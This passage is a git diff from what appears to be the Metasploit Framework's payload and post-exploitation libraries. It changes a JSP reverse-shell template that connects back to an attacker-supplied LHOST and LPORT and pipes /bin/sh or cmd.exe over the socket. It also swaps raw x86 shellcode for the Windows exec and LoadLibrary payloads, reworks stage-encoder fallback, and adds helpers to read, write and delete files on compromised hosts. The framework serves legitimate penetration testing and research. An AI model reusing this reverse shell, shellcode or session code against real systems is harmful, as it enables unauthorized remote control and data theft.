#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) ); + #{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) ); char buffer[] = new char[8192]; int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 ) { - out.write( buffer, 0, length ); - out.flush(); + #{var_out}.write( buffer, 0, length ); + #{var_out}.flush(); } } catch( Exception e ){} try { - if( in != null ) - in.close(); - if( out != null ) - out.close(); + if( #{var_in} != null ) + #{var_in}.close(); + if( #{var_out} != null ) + #{var_out}.close(); } catch( Exception e ){} } } try { + #{shell_path} Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %> EOS - return jsp + + jsp end # Wraps the jsp payload into a war + # # @return [Rex::Zip::Jar] a war to execute the jsp payload def generate_war jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" @@ -151,4 +183,28 @@ module Msf::Payload::JSP zip end + + # Outputs Java code to assign the system shell path to a variable. + # + # It uses the datastore if a value has been provided, otherwise + # tries to guess the system shell path bad on the os target. + # + # @return [String] the Java code. + def shell_path + if datastore['SHELL'] && !datastore['SHELL'].empty? + jsp = "String ShellPath = \"#{datastore['SHELL']}\";" + else + jsp = <<-EOS +String ShellPath; +if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { + ShellPath = new String("/bin/sh"); +} else { + ShellPath = new String("cmd.exe"); +} + EOS + end + + jsp + end + end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index d63770ecd6..2b05eb82d4 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -16,6 +16,8 @@ module Msf::Payload::Stager [ Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]), Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]), + Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]), + Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ]) ], Msf::Payload::Stager) end @@ -92,14 +94,12 @@ module Msf::Payload::Stager true end - # # Whether to use an Encoder on the second stage # # @return [Boolean] def encode_stage? - # Convert to string in case it hasn't been normalized - !!(datastore['EnableStageEncoding'].to_s == "true") + !!(datastore['EnableStageEncoding']) end # @@ -134,7 +134,18 @@ module Msf::Payload::Stager p = generate_stage # Encode the stage if stage encoding is enabled - p = encode_stage(p) + begin + p = encode_stage(p) + rescue ::RuntimeError + warning_msg = "Failed to stage" + warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost + warning_msg << ": #{$!}" + print_warning warning_msg + if conn.respond_to? :close && !conn.closed? + conn.close + end + return + end # Give derived classes an opportunity to an intermediate state before # the stage is sent. This gives derived classes an opportunity to @@ -196,30 +207,77 @@ module Msf::Payload::Stager false end + # + # Takes an educated guess at the list of registers an encoded stage + # would need to preserve based on the Convention + # + def encode_stage_preserved_registers + module_info['Convention'].to_s.scan(/\bsock([a-z]{3,}+)\b/). + map {|reg| reg.first }. + join(" ") + end + # Encodes the stage prior to transmission # @return [String] Encoded version of +stg+ def encode_stage(stg) return stg unless encode_stage? + stage_enc_mod = [] - if datastore["StageEncoder"].nil? or datastore["StageEncoder"].empty? - stage_enc_mod = nil - else - stage_enc_mod = datastore["StageEncoder"] + # Handle StageEncoder if specified by the user + if datastore['StageEncoder'].to_s.length > 0 + # Allow multiple encoders separated by commas + stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq end - # Generate an encoded version of the stage. We tell the encoding system - # to save edi to ensure that it does not get clobbered. - encp = Msf::EncodedPayload.create( - self, - 'Raw' => stg, - 'Encoder' => stage_enc_mod, - 'SaveRegisters' => ['edi'], - 'ForceEncode' => true) - print_status("Encoded stage with #{encp.encoder.refname}") + # Add automatic encoding as a fallback if needed + if datastore['StageEncodingFallback'] + stage_enc_mod << nil + end - # If the encoding succeeded, use the encoded buffer. Otherwise, fall - # back to using the non-encoded stage - encp.encoded || stg + # If fallback has been disabled and no encoder was parsed, exit early and rop the session + if stage_enc_mod.length == 0 + raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled" + end + + # Allow the user to specify additional registers to preserve + saved_registers = + datastore['StageEncoderSaveRegisters'].to_s + + " " + + encode_stage_preserved_registers + saved_registers.strip! + + estg = nil + + stage_enc_mod.each do |encoder_refname_from_user| + + # Generate an encoded version of the stage. We tell the encoding system + # to save certain registers to ensure that it does not get clobbered. + encp = Msf::EncodedPayload.create( + self, + 'Raw' => stg, + 'Encoder' => encoder_refname_from_user, + 'EncoderOptions' => { 'SaveRegisters' => saved_registers }, + 'ForceSaveRegisters' => true, + 'ForceEncode' => true) + + if encp.encoder + print_status("Encoded stage with #{encp.encoder.refname}") + estg = encp.encoded + + break + end + end + + if datastore['StageEncodingFallback'] && estg.nil? + print_warning("StageEncoder failed, falling back to no encoding") + estg = stg + end + + unless estg + raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled" + end + + estg end # Aliases diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 5c38949360..9acf4b00d2 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/windows' module Msf diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index 50bd0f9ae7..7f9308dda6 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -29,21 +29,21 @@ module Payload::Windows::Exec { 'Offsets' => { - 'EXITFUNC' => [ 161, 'V' ] + 'EXITFUNC' => [ 154, 'V' ] }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x6A\x01\x8D\x85\xB9\x00\x00\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5" + - "\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + - "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" + + "\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" + + "\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" + + "\x13\x72\x6F\x6A\x00\x53\xFF\xD5" } )) diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb index ea5a73e8cb..b451834bcb 100644 --- a/lib/msf/core/payload/windows/loadlibrary.rb +++ b/lib/msf/core/payload/windows/loadlibrary.rb @@ -29,21 +29,21 @@ module Payload::Windows::LoadLibrary { 'Offsets' => { - 'EXITFUNC' => [ 159, 'V' ] + 'EXITFUNC' => [ 152, 'V' ] }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" + - "\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" + - "\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x8D\x85\xB0\x00\x00\x00\x50" + + "\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD" + + "\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" + + "\x6F\x6A\x00\x53\xFF\xD5" } )) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 356d12ce59..8d055ed5a4 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' ### @@ -67,8 +68,8 @@ module Msf::Payload::Windows::PrependMigrate api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame - xor edx, edx ; Zero EDX - mov edx, [fs:edx+48] ; Get a pointer to the PEB + xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx, [fs:eax+48] ; Get a pointer to the PEB mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; @@ -76,7 +77,6 @@ module Msf::Payload::Windows::PrependMigrate movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; - xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; @@ -91,10 +91,10 @@ module Msf::Payload::Windows::PrependMigrate push edi ; Save the current module hash for later ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header + mov ecx, [edx+60] ; Get PE header ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [eax+edx+120] ; Get the EAT from the PE header + mov ecx, [ecx+edx+120] ; Get the EAT from the PE header jecxz get_next_mod1 ; If no EAT present, process the next module add ecx, edx ; Add the modules base address push ecx ; Save the current modules EAT @@ -112,7 +112,6 @@ module Msf::Payload::Windows::PrependMigrate xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; - xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the ASCII function name ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name @@ -144,7 +143,7 @@ module Msf::Payload::Windows::PrependMigrate ; We now automagically return to the correct caller... get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT + pop edi ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 2b32d416ed..48de104a44 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'active_support/core_ext/numeric/bytes' module Msf @@ -69,6 +70,9 @@ module Msf # @!attribute template # @return [String] The path to an executable template to use attr_accessor :template + # @!attribute var_name + # @return [String] The custom variable string for certain output formats + attr_accessor :var_name # @param opts [Hash] The options hash @@ -104,6 +108,7 @@ module Msf @space = opts.fetch(:space, 1.gigabyte) @stdin = opts.fetch(:stdin, nil) @template = opts.fetch(:template, '') + @var_name = opts.fetch(:var_name, 'buf') @framework = opts.fetch(:framework) @@ -171,10 +176,11 @@ module Msf def encode_payload(shellcode) shellcode = shellcode.dup encoder_list = get_encoders - cli_print "Found #{encoder_list.count} compatible encoders" if encoder_list.empty? + cli_print "No encoder or badchars specified, outputting raw payload" shellcode else + cli_print "Found #{encoder_list.count} compatible encoders" encoder_list.each do |encoder_mod| cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}" begin @@ -212,10 +218,10 @@ module Msf if Rex::Arch.endian(arch) != ENDIAN_BIG raise IncompatibleEndianess, "Big endian format selected for a non big endian payload" else - ::Msf::Simple::Buffer.transform(shellcode, format) + ::Msf::Simple::Buffer.transform(shellcode, format, @var_name) end when *::Msf::Simple::Buffer.transform_formats - ::Msf::Simple::Buffer.transform(shellcode, format) + ::Msf::Simple::Buffer.transform(shellcode, format, @var_name) when *::Msf::Util::EXE.to_executable_fmt_formats ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options) else @@ -229,12 +235,13 @@ module Msf # @return [String] Java payload as a JAR or WAR file def generate_java_payload payload_module = framework.payloads.create(payload) + payload_module.datastore.merge!(datastore) case format - when "raw" + when "raw", "jar" if payload_module.respond_to? :generate_jar payload_module.generate_jar.pack else - raise InvalidFormat, "#{payload} is not a Java payload" + payload_module.generate end when "war" if payload_module.respond_to? :generate_war @@ -306,12 +313,16 @@ module Msf if encoder.present? # Allow comma seperated list of encoders so users can choose several encoder.split(',').each do |chosen_encoder| - encoders << framework.encoders.create(chosen_encoder) + e = framework.encoders.create(chosen_encoder) + e.datastore.import_options_from_hash(datastore) + encoders << e if e end encoders.sort_by { |my_encoder| my_encoder.rank }.reverse elsif badchars.present? - framework.encoders.each_module_ranked('Arch' => [arch]) do |name, mod| - encoders << framework.encoders.create(name) + framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod| + e = framework.encoders.create(name) + e.datastore.import_options_from_hash(datastore) + encoders << e if e end encoders.sort_by { |my_encoder| my_encoder.rank }.reverse else @@ -362,7 +373,9 @@ module Msf iterations.times do |x| shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list) cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})" - raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space + if shellcode.length > space + raise EncoderSpaceViolation, "encoder has made a buffer that is too big" + end end shellcode end diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 97b5b4c7a2..9a202d936a 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -21,7 +21,7 @@ class PayloadSet < ModuleSet # set class that has custom handling for payloads. # def initialize - super(MODULE_PAYLOAD) + super(Msf::MODULE_PAYLOAD) # A hash of each of the payload types that holds an array # for all of the associated modules diff --git a/lib/msf/core/platform.rb b/lib/msf/core/platform.rb new file mode 100644 index 0000000000..15bc889b29 --- /dev/null +++ b/lib/msf/core/platform.rb @@ -0,0 +1 @@ +Msf::Platform = Msf::Module::Platform diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index d9574910be..789f217dd2 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -9,6 +9,7 @@ class Msf::Post < Msf::Module require 'msf/core/post_mixin' require 'msf/core/post/file' + require 'msf/core/post/webrtc' require 'msf/core/post/linux' require 'msf/core/post/osx' @@ -18,7 +19,12 @@ class Msf::Post < Msf::Module include Msf::PostMixin - def setup; end + def setup + m = replicant + if m.actions.length > 0 && !m.action + raise Msf::MissingActionError, "Please use: #{m.actions.collect {|e| e.name} * ", "}" + end + end def type Msf::MODULE_POST @@ -45,4 +51,17 @@ class Msf::Post < Msf::Module mod end + + # This method returns the ID of the {Mdm::Session} that the post module + # is currently running agaist. + # + # @return [NilClass] if there is no database record for the session + # @return [Fixnum] if there is a database record to get the id for + def session_db_id + if session.db_record + session.db_record.id + else + nil + end + end end diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 7bb6195e33..2e340b14de 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -3,6 +3,8 @@ module Msf::Post::Common def rhost + return nil unless session + case session.type when 'meterpreter' session.sock.peerhost @@ -110,7 +112,14 @@ module Msf::Post::Common break if d == "" o << d end - process.channel.close + o.chomp! if o + + begin + process.channel.close + rescue IOError => e + # Channel was already closed, but we got the cmd output, so let's soldier on. + end + process.close when /shell/ o = session.shell_command_token("#{cmd} #{args}", time_out) @@ -153,4 +162,55 @@ module Msf::Post::Common report_host(vm_data) end + # + # Returns the value of the environment variable +env+ + # + def get_env(env) + case session.type + when /meterpreter/ + return session.sys.config.getenv(env) + when /shell/ + if session.platform =~ /win/ + if env[0,1] == '%' + unless env[-1,1] == '%' + env << '%' + end + else + env = "%#{env}%" + end + + return cmd_exec("echo #{env}") + else + unless env[0,1] == '$' + env = "$#{env}" + end + + return cmd_exec("echo \"#{env}\"") + end + end + + nil + end + + # + # Returns a hash of environment variables +envs+ + # + def get_envs(*envs) + case session.type + when /meterpreter/ + return session.sys.config.getenvs(*envs) + when /shell/ + result = {} + envs.each do |env| + res = get_env(env) + result[env] = res unless res.blank? + end + + return result + end + + nil + end + end + diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 1d148f7028..aab8d03ceb 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -3,20 +3,26 @@ module Msf::Post::File # - # Change directory in the remote session to +path+ + # Change directory in the remote session to +path+, which may be relative or + # absolute. # + # @return [void] def cd(path) + e_path = expand_path(path) rescue path if session.type == "meterpreter" - e_path = session.fs.file.expand_path(path) rescue path session.fs.dir.chdir(e_path) else - session.shell_command_token("cd '#{path}'") + session.shell_command_token("cd \"#{e_path}\"") end end # # Returns the current working directory in the remote session # + # @note This may be inaccurate on shell sessions running on Windows before + # XP/2k3 + # + # @return [String] def pwd if session.type == "meterpreter" return session.fs.dir.getwd @@ -31,9 +37,27 @@ module Msf::Post::File end end + # Returns a list of the contents of the specified directory + # @param directory [String] the directory to list + # @return [Array] the contents of the directory + def dir(directory) + if session.type == 'meterpreter' + return session.fs.dir.entries(directory) + else + if session.platform =~ /win/ + return session.shell_command_token("dir #{directory}").split(/[\r\n]+/) + else + return session.shell_command_token("ls #{directory}").split(/[\r\n]+/) + end + end + end + + alias ls dir + # # See if +path+ exists on the remote system and is a directory # + # @param path [String] Remote filename to check def directory?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -43,7 +67,7 @@ module Msf::Post::File if session.platform =~ /win/ f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else - f = session.shell_command_token("test -d '#{path}' && echo true") + f = session.shell_command_token("test -d \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -55,6 +79,7 @@ module Msf::Post::File # # Expand any environment variables to return the full path specified by +path+. # + # @return [String] def expand_path(path) if session.type == "meterpreter" return session.fs.file.expand_path(path) @@ -66,6 +91,7 @@ module Msf::Post::File # # See if +path+ exists on the remote system and is a regular file # + # @param path [String] Remote filename to check def file?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil @@ -78,7 +104,7 @@ module Msf::Post::File f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") end else - f = session.shell_command_token("test -f '#{path}' && echo true") + f = session.shell_command_token("test -f \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -92,15 +118,16 @@ module Msf::Post::File # # Check for existence of +path+ on the remote file system # + # @param path [String] Remote filename to check def exist?(path) if session.type == "meterpreter" stat = session.fs.file.stat(path) rescue nil return !!(stat) else if session.platform =~ /win/ - f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else - f = session.shell_command_token("test -e '#{path}' && echo true") + f = cmd_exec("test -e \"#{path}\" && echo true") end return false if f.nil? or f.empty? @@ -109,31 +136,19 @@ module Msf::Post::File end end - # - # Remove a remote file - # - def file_rm(file) - if session.type == "meterpreter" - session.fs.file.rm(file) - else - if session.platform =~ /win/ - session.shell_command_token("del \"#{file}\"") - else - session.shell_command_token("rm -f '#{file}'") - end - end - end - # # Writes a given string to a given local file # - def file_local_write(file2wrt, data2wrt) - if not ::File.exists?(file2wrt) - ::FileUtils.touch(file2wrt) + # @param local_file_name [String] + # @param data [String] + # @return [void] + def file_local_write(local_file_name, data) + unless ::File.exists?(local_file_name) + ::FileUtils.touch(local_file_name) end - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| + output = ::File.open(local_file_name, "a") + data.each_line do |d| output.puts(d) end output.close @@ -142,22 +157,27 @@ module Msf::Post::File # # Returns a MD5 checksum of a given local file # - def file_local_digestmd5(file2md5) - if not ::File.exists?(file2md5) - raise "File #{file2md5} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestmd5(local_file_name) + if ::File.exists?(local_file_name) require 'digest/md5' chksum = nil - chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read}) + chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a MD5 checksum of a given remote file # - def file_remote_digestmd5(file2md5) - data = read_file(file2md5) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestmd5(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::MD5.hexdigest(data) @@ -168,22 +188,27 @@ module Msf::Post::File # # Returns a SHA1 checksum of a given local file # - def file_local_digestsha1(file2sha1) - if not ::File.exists?(file2sha1) - raise "File #{file2sha1} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha1(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha1' chksum = nil - chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read}) + chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA1 checksum of a given remote file # - def file_remote_digestsha1(file2sha1) - data = read_file(file2sha1) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha1(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA1.hexdigest(data) @@ -194,22 +219,27 @@ module Msf::Post::File # # Returns a SHA256 checksum of a given local file # - def file_local_digestsha2(file2sha2) - if not ::File.exists?(file2sha2) - raise "File #{file2sha2} does not exists!" - else + # @param local_file_name [String] Local file name + # @return [String] Hex digest of file contents + def file_local_digestsha2(local_file_name) + if ::File.exists?(local_file_name) require 'digest/sha2' chksum = nil - chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read}) + chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) return chksum + else + raise "File #{local_file_name} does not exists!" end end # # Returns a SHA2 checksum of a given remote file # - def file_remote_digestsha2(file2sha2) - data = read_file(file2sha2) + # @note THIS DOWNLOADS THE FILE + # @param file_name [String] Remote file name + # @return [String] Hex digest of file contents + def file_remote_digestsha2(file_name) + data = read_file(file_name) chksum = nil if data chksum = Digest::SHA256.hexdigest(data) @@ -221,6 +251,8 @@ module Msf::Post::File # Platform-agnostic file read. Returns contents of remote file +file_name+ # as a String. # + # @param file_name [String] Remote file name to read + # @return [String] Contents of the file def read_file(file_name) data = nil if session.type == "meterpreter" @@ -229,19 +261,20 @@ module Msf::Post::File if session.platform =~ /win/ data = session.shell_command_token("type \"#{file_name}\"") else - data = session.shell_command_token("cat \'#{file_name}\'") + data = session.shell_command_token("cat \"#{file_name}\"") end end data end - # # Platform-agnostic file write. Writes given object content to a remote file. - # Returns Boolean true if successful # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def write_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "wb") @@ -264,6 +297,9 @@ module Msf::Post::File # # NOTE: *This is not binary-safe on Windows shell sessions!* # + # @param file_name [String] Remote file name to write + # @param data [String] Contents to put in the file + # @return [void] def append_file(file_name, data) if session.type == "meterpreter" fd = session.fs.file.new(file_name, "ab") @@ -283,6 +319,9 @@ module Msf::Post::File # Read a local file +local+ and write it as +remote+ on the remote file # system # + # @param remote [String] Destination file name on the remote filesystem + # @param local [String] Local file whose contents will be uploaded + # @return (see #write_file) def upload_file(remote, local) write_file(remote, ::File.read(local)) end @@ -290,38 +329,46 @@ module Msf::Post::File # # Delete remote files # + # @param remote_files [Array<String>] List of remote filenames to + # delete + # @return [void] def rm_f(*remote_files) remote_files.each do |remote| if session.type == "meterpreter" - session.fs.file.delete(remote) + session.fs.file.delete(remote) if exist?(remote) else if session.platform =~ /win/ - cmd_exec("del /q /f #{remote}") + cmd_exec("del /q /f \"#{remote}\"") else - cmd_exec("rm -f #{remote}") + cmd_exec("rm -f \"#{remote}\"") end end end end + alias :file_rm :rm_f + # # Rename a remote file. # + # @param old_file [String] Remote file name to move + # @param new_file [String] The new name for the remote file def rename_file(old_file, new_file) - if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move") - session.fs.file.mv(old_file, new_file) + if session.type == "meterpreter" + return (session.fs.file.mv(old_file, new_file).result == 0) else - if session.platform =~ /win/ - cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) - else - cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|) - end + if session.platform =~ /win/ + cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/ + else + cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty? + end end end alias :move_file :rename_file alias :mv_file :rename_file protected + # # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error @@ -329,11 +376,12 @@ protected # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # + # @return [String] def _read_file_meterpreter(file_name) begin fd = session.fs.file.new(file_name, "rb") rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Failed to open file: #{file_name}") + print_error("Failed to open file: #{file_name}: #{e}") return 